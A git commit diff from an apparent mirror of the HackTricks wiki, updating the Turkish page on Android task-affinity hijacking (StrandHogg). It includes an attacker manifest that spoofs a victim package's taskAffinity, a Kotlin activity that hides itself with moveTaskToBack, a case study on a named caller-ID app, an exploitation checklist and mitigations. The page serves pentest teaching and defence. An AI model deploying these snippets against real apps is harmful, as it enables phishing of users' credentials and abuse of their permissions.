mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
parent
65a7f3bdcf
commit
8de001dd1b
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Görev, Geri Yığın ve Ön Plan Aktiviteleri
|
||||
## Görev, Geri Yığın ve Ön Planda Olan Aktiviteler
|
||||
|
||||
Android'de, bir **görev**, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve bir **geri yığın** içinde organize edilir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte **ön plan aktivitesi** olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür, bu da onu **ön plan görevi**nin bir parçası yapar.
|
||||
Android'de, bir **görev**, kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu aktivitelerin bir setidir ve bir **geri yığın** içinde organize edilir. Bu yığın, aktiviteleri açıldıkları zamana göre sıralar; en son açılan aktivite en üstte **ön planda olan aktivite** olarak görüntülenir. Her an, yalnızca bu aktivite ekranda görünür ve bu da onu **ön planda görev** haline getirir.
|
||||
|
||||
Aktivite geçişlerinin hızlı bir özeti:
|
||||
|
||||
@ -15,39 +15,89 @@ Aktivite geçişlerinin hızlı bir özeti:
|
||||
|
||||
.png>)
|
||||
|
||||
## Görev bağlılığı saldırısı
|
||||
---
|
||||
|
||||
### Görev Bağlılığı ve Başlatma Modları Genel Bakış
|
||||
## Görev yakınlığı saldırıları
|
||||
|
||||
Android uygulamalarında, **görev bağlılığı**, bir aktivitenin tercih edilen görevini belirtir ve genellikle uygulamanın paket adıyla uyumludur. Bu yapı, saldırıyı göstermek için bir kanıt konsepti (PoC) uygulaması oluşturmakta önemlidir.
|
||||
`taskAffinity`, Android'e bir `Activity`'nin hangi göreve *ait olmayı tercih ettiğini* söyler. İki aktivite aynı yakınlığa sahip olduğunda, **Android bunları farklı APK'lerden gelseler bile aynı geri yığında birleştirmeye izin verir**.
|
||||
|
||||
### Başlatma Modları
|
||||
Eğer bir saldırgan, o yığının **köküne** kötü niyetli bir aktivite yerleştirebilirse, kurban meşru uygulamayı her açtığında, kullanıcıya ilk olarak kötü niyetli arayüz gösterilecektir – bu, kimlik avı veya kötüye kullanım izin talepleri için mükemmeldir.
|
||||
|
||||
`launchMode` niteliği, görevler içindeki aktivite örneklerinin nasıl işleneceğini yönlendirir. **singleTask** modu, mevcut aktivite örnekleri ve görev bağlılığı eşleşmelerine dayanan üç senaryo belirleyerek bu saldırı için kritik öneme sahiptir. Saldırı, bir saldırganın uygulamasının hedef uygulamanın görev bağlılığını taklit etme yeteneğine dayanır ve Android sistemini saldırganın uygulamasını başlatmaya yönlendirir.
|
||||
Saldırı yüzeyi, birçok geliştiricinin düşündüğünden daha geniştir çünkü **her aktivite otomatik olarak uygulama paket adıyla eşit bir yakınlık miras alır** (geliştirici `android:taskAffinity=""` ayarlamadıkça). Bu nedenle *hiçbir şey yapmamak*, uygulamayı Android 11 öncesi sürümlerde görev ele geçirmeye açık bırakır.
|
||||
|
||||
### Ayrıntılı Saldırı Adımları
|
||||
### Klasik "singleTask / StrandHogg" senaryosu
|
||||
|
||||
1. **Kötü Amaçlı Uygulama Kurulumu**: Kurban, saldırganın uygulamasını cihazına kurar.
|
||||
2. **İlk Aktivasyon**: Kurban, önce kötü amaçlı uygulamayı açarak cihazı saldırıya hazırlar.
|
||||
3. **Hedef Uygulama Başlatma Girişimi**: Kurban, hedef uygulamayı açmaya çalışır.
|
||||
4. **Ele Geçirme Uygulaması**: Bir noktada uygulama **singleTask** görünümünü açmaya çalışır. Eşleşen görev bağlılığı nedeniyle, kötü amaçlı uygulama hedef uygulamanın yerine başlatılır.
|
||||
5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamaya benzeyen sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır.
|
||||
1. Saldırgan bir aktiviteyi şu şekilde tanımlar:
|
||||
```xml
|
||||
<activity android:name=".EvilActivity"
|
||||
android:exported="true"
|
||||
android:taskAffinity="com.victim.package"
|
||||
android:launchMode="singleTask" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
2. Kötü niyetli uygulama bir kez başlatılır, böylece (sahte yakınlığa sahip) görev son görevler arasında var olur.
|
||||
3. Kullanıcı daha sonra gerçek uygulamayı açtığında, Android zaten kök yakınlığı paketiyle eşleşen bir görev bulur ve o görevi ön plana getirir.
|
||||
4. Saldırganın arayüzü ilk olarak gösterilir.
|
||||
|
||||
> [!TIP]
|
||||
> Bu saldırının çalışması için, savunmasız görünümün **true olarak dışa aktarılmış olması gerekmez** ve ana aktivite olması da gerekmez.
|
||||
### Varsayılan–Yakınlık (no `singleTask`) varyantı – Arayan Kimliği vaka çalışması
|
||||
|
||||
Bu saldırının pratik bir uygulaması için GitHub'daki Görev Ele Geçirme Strandhogg deposuna bakın: [Görev Ele Geçirme Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
||||
**Arayan Kimliği (caller.id.phone.number.block)** uygulamasında bildirilen zafiyet, saldırının *aynı zamanda* varsayılan `standard` başlatma moduna karşı da çalıştığını göstermektedir:
|
||||
|
||||
### Önleme Önlemleri
|
||||
1. Saldırgan uygulama sahte bir kök aktivite oluşturur ve hemen kendini gizler:
|
||||
```kotlin
|
||||
class HackActivity : AppCompatActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
moveTaskToBack(true) // görevi görünmez ama son görevler arasında tut
|
||||
}
|
||||
}
|
||||
```
|
||||
2. Manifest, yalnızca kurban paketini `taskAffinity` içine kopyalamalıdır:
|
||||
```xml
|
||||
<activity android:name=".HackActivity"
|
||||
android:exported="true"
|
||||
android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. Kullanıcı kötü niyetli uygulamayı **bir kez** yükleyip açtığında, kurban paketine eşit bir yakınlığa sahip bir görev var olur (ama arka planda kalır).
|
||||
4. Gerçek Arayan Kimliği uygulaması başlatıldığında, Android o görevi yeniden kullanır ve `HackActivity`'yi ön plana getirir → kimlik avı penceresi/izin kötüye kullanımı.
|
||||
|
||||
Bu tür saldırıları önlemek için geliştiriciler:
|
||||
- **`**taskAffinity`**'yi **singleTask** görünümü için boş bir dize olarak ayarlayabilir (`android:taskAffinity=""`)
|
||||
- Uygulamalarının diğerlerinden izole olmasını sağlamak için **`singleInstance`** başlatma modunu tercih edebilir.
|
||||
- Görev ele geçirmeye karşı ek koruma sağlayan **`onBackPressed()`** fonksiyonunu özelleştirebilir.
|
||||
> NOT: **Android 11 (API 30)** ile birlikte sistem, varsayılan olarak aynı UID'nin parçası olmayan iki paketi aynı göreve yerleştirmez, bu da bu belirli varyantı azaltır. Eski sürümler hala savunmasızdır.
|
||||
|
||||
## **Kaynaklar**
|
||||
---
|
||||
|
||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
## Tespit & Sömürü kontrol listesi
|
||||
|
||||
1. Hedef APK'den `AndroidManifest.xml` dosyasını çekin ve her `<activity>` (veya global `<application>` öğesi) için `android:taskAffinity=""` (boş) **veya** özelleştirilmiş bir değer içerip içermediğini kontrol edin.
|
||||
2. Eğer değilse, kötü niyetli bir uygulama oluşturun:
|
||||
- `android:taskAffinity` = kurban paket adı.
|
||||
- Kullanıcının bir kez açabilmesi için bir `MAIN/LAUNCHER` niyeti sağlayın.
|
||||
- İsteğe bağlı olarak hemen gizlemek için `moveTaskToBack(true)` çağrısı yapın.
|
||||
3. Kurbanın meşru uygulamasını açmasına izin verin → ele geçirme.
|
||||
|
||||
## Azaltma
|
||||
|
||||
Geliştiriciler şunları yapmalıdır:
|
||||
|
||||
* `<application>` seviyesinde `android:taskAffinity=""` açıkça ayarlamak (önerilir) **veya** her aktiviteye benzersiz, özel bir yakınlık vermek.
|
||||
* Son derece hassas ekranlar için, yukarıdakileri `android:launchMode="singleInstance"` veya modern [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) korumaları ile birleştirin.
|
||||
* Uygulamanın `targetSdkVersion`'ını yükseltin ve görevlerin varsayılan olarak paketler arasında paylaşılmadığı **Android 11** davranış değişikliklerini zorlayın.
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user